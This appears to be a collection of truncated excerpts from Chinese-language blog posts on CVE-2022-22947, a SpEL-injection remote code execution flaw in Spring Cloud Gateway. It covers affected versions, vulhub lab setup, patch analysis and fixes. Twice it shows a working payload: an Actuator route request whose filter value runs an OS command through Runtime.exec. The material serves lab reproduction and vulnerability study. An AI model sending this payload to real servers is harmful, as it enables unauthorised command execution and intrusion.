Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。 利用条件 3.1.0 3.0.0 to 3.0.6 环境搭建 使用vulhub搭建漏洞环境 切换到/vulhub...
CVE-2022-22947漏洞本质属于SpEL表达式注入漏洞,可通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)对可控表达式通过StandardEvaluationContext进行解析从而造成RCE。` 这边主要看org.springframework.cloud.gateway.support.ShortcutConfigurable这个类 其中的getValue方法会...
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!
下载好vulhub的靶场后进入CVE-2022-22947 运行如下代码启动和安装环境 docker-compose up -d 1. 查看端口是否开放 docker-compose ps 1. 打开浏览器访问URL地址 http://ip:8080 BP进入重放器模块 添加过滤器payload(这里的IP端口记得改为你的) POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:...
"filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"} ...
"filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"} ...
前段时间有篇文章披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。 受影响版本 根据VMWare 和 Spring 的官方公告[^2][^3],受影响的版本为: 3.1.0 3.0.0 到 3.0.6 旧的不受支持的版本也受影响 修复方案 修复方案有: ...
首先进入Vulhub CVE-2022-22947目录,进行如下操作: sudo docker ps --no-trunc# 查看command列java -Djava.security.egd=file:/dev/./urandom -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005-jar /spring-cloud-gateway-0.0.1-SNAPSHOT.jar# command列为启动容器时默认执行的命令,我们将...
CVE-2022-22947是一个远程代码执行漏洞,当攻击者能够访问Spring Cloud Gateway的Actuator API时,可以利用该漏洞执行任意命令。该漏洞主要是由于Spring Cloud Gateway在处理Actuator API请求时,未对SpEL(Spring Expression Language)表达式进行足够的验证和过滤,导致攻击者可以通过构造恶意的SpEL表达式执行任意代码。 2. CVE-...
漏洞环境:VulEnv/springboot/cve_2022_22947 at master · XuCcc/VulEnv Source 分析 查看v3.0.6->v3.0.7的官方补丁Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway,官方在ShortcutConfigurable#getValue方法中将StandardEvaluationContext修正成了GatewayEvaluat...